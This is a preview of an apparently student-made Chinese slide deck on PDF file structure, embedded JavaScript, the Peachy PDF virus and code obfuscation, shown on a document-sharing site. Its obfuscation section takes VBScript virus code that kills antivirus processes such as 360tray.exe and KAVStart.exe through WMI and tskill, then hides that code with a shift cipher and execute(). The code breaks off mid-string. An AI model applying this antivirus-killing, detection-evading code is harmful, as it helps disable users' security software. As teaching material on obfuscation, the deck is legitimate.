PDF代码混淆技术_第1页
PDF代码混淆技术_第2页
PDF代码混淆技术_第3页
PDF代码混淆技术_第4页
PDF代码混淆技术_第5页
已阅读5页,还剩25页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

PDF代码混淆技术pdf-obfuscationB10040529宫天何B10040606杨静平B10040605李慧灵目录

PDF简介

PDF文件结构

PDF与JavaScript

代码混淆技术PDF简介

PDF是PortableDocumentFormat(便携文件格式)的缩写,是一种电子文件格式,与操作系统平台无关,由Adobe公司开发而成。PDF文件是以PostScript语言图象模型为基础,无论在哪种打印机上都可保证精确的颜色和准确的打印效果,即PDF会忠实地再现原稿的每一个字符、颜色以及图象。PDF文件结构

(1)文件头; (2)对象的建立声明; (3)交叉引用表; (4)文件尾。PDF文件结构

PDF文件结构

——关于对象: PDF文档是由一些称为“对象”的模块组成的。并且每个对象都有数字标号,这样的话可以这些对象就可以北其他的对象所引用。 ——定义方式: 30obj << /Type/Pages /Count1 /Kids[40R] >> endobj键值对对象名称结束标志PDF文件结构

HelloWorld文件头PDF文件结构

交叉引用表: 交叉引用表记录了每个对象在内存中的偏移地址。 文件尾: 文件尾部记录了根对象名、信息对象名、对象总数及交叉引用表在内存中的偏移地址。PDF文件结构

HelloWorld交叉引用表文件尾PDF文件结构

HelloWorldPDF文件结构

演示: 1.将该PDF的内容由flate压缩编码改成文本ASCII编码格式。 2.将“HelloWorld”改成“MyHelloWorld”。 技巧: 为了避免交叉引用表的修改,我们可以使用空格填充字符流对象使得该对象所占内存地址偏移量不变。

HelloWorldPDF文件结构

HelloWorld

20obj <</Length61>> streamBT /F124Tf100600Td (myHelloWorld)Tj ET endstream endobjPDF与JavaScript

AdobeAcrobatProfessional软件可以使商业人士能够可靠地创建、合并和控制AdobePDF文档,以便轻松且更加安全地进行分发、协作和数据收集。制作PDF文档的利器,办公必备。近年来,Adobe公司一直在努力使Acrobat从一款简单的PDF软件发展成一个完整的数码发布平台,甚至增加了对三维图片的支持。PDF与JavaScript

在PDF文件中可以嵌入JavaScript,例如: 80obj <</JS( //JavaScript代码 )/S/JavaScript>> endobjPDF与JavaScript

利用Acrobat在PDF中添加JavaScript动作: app.alert("Test"); app.launchURL ("",true);PDF与JavaScript

PeachyVirus

SecurityexpertshavefoundthefirstvirusabletopropagatethroughAdobe’sencryptedportabledocumentformat(PDF)files,aformatoncethoughttobevirtuallyimpenetrable. 目前安全专家发现了首例通过加密的PDF繁殖的病毒,以往这种方式是很难以理解的。PDF与JavaScript

PeachyVirus

NamedPeachybyexpertsatWebsecurityfirmMcAfeeonTuesday,thee-mailvirushidesitselfinPDFfilesandinfectsothercomputersystemsbysendingthefileasanattachmentthroughtheMicrosoftOutlooke-mailprogram. 这种叫做Peachy的病毒在周二被McAfee证实了。它通过邮件把自己隐藏在PDF文件中,并感染其余通过Outlook发送的文件。PDF与JavaScript

PeachyVirus

ThevirusexploitsafeatureinAcrobatthatcombinesotherfileswiththePDFcode. 该病毒通过Acrobat的某种特点,将其余文件与PDF代码进行合并。

——摘自abcNews代码混淆技术

代码混淆技术是一种重要的软件保护方法,混淆的实质就是一种变换,通过这种变换把原来的代码变成与其功能相同或相近的,但是更难被理解和反编译的代码。由于混淆技术可以根据不同的目的,不同的混淆对象采用不同的方法,这使得混淆方法非常多。代码混淆技术

JavaScript基本常用方法: (1)字母替换 (2)[]与数字 (3)eval()函数 (4)escape()函数 (5)加密技术 (6)随机变量名 …………代码混淆技术

采用简单的代码混淆技术混淆病毒代码。 这里将virus.vbs进行混淆。混淆方式采用加密方式和execute()函数。代码混淆技术

加密方式: 可以采用对称加密算法(如AES、RC4)进行加密。这里为了简单直观,采用了古典加密方式(仿射加密,取a=1,b=1) execute()函数: 类似于JavaScript中的eval()函数。使用方法为excute(Stringcode),其中code是代码的字符串形式,效果是执行该代码。

代码混淆技术

例如: execute("i=3") execute("j=i+1") msgbox(j) 结果为4。

代码混淆技术

Functionde(x) dimp,ch,i,l p="" l=Len(x) fori=1tol ch=mid(x,i,1) ch=chr(asc(ch)-1) p=p&ch next de=p endfunction

这是一个解密函数:它的效果是将字符串中每个字母的ASCII值减去1。例如:x="bcd"则,de(x)="abc"代码混淆技术

原来: CallKillProcess(ProcessNames) 可以混淆为: ss="Dbmm!LjmmQspdftt)QspdfttObnft*" ss=de(ss) execute(ss)

代码混淆技术

OnErrorResumeNext DimProcessNames dima0,a1,a2,a3,a4,a5,ssa0="mspaint.exe" a1="ras.exe" a2="360tray.exe" a3="SREng.exe" a4="USBAntiVir.exe" a5="KAVStart.exe" ProcessNames=Array(a0,a1,a2,a3,a4,a5) CallKillProcess(ProcessNames)

a0="ntqbjou/fyf" :a0=de(a0)a1="sbt/fyf"

:a1=de(a1)a2="471usbz/fyf"

:a2=de(a2)a3="TSFoh/fyf"

:a3=de(a3)a4="VTCBoujWjs/fyf"

:a4=de(a4)a5="LBWTubsu/fyf"

:a5=de(a5)ss="Dbmm!LjmmQspdftt)QspdfttObnft*"ss=de(ss)execute(ss)代码混淆技术

SetobjWMIServices=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIServices.Execquery("Select*Fromwin32_processwherename='"&ProcessName&"'")intReturn=objProcess.TerminateobjShell.Run"cmd.exe/c@tskill"&name_exe,0,Truess="Tfu!pckXNJTfswjdft!>!HfuPckfdu)#xjonhnut;]]#!'!tusDpnqvufs!'!#]sppu]djnw3#*"execute(de(ss))ss="Tfu!dpmQspdfttMjtu!>!pckXNJTfswjdft/Fyfdrvfsz)#!Tfmfdu!+!Gspn!xjo43`qspdftt!xifsf!obnf!>!(#!'!QspdfttObnf!'!#(!#*"execute(de(ss))ss="jouSfuvso!>!pckQsp

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论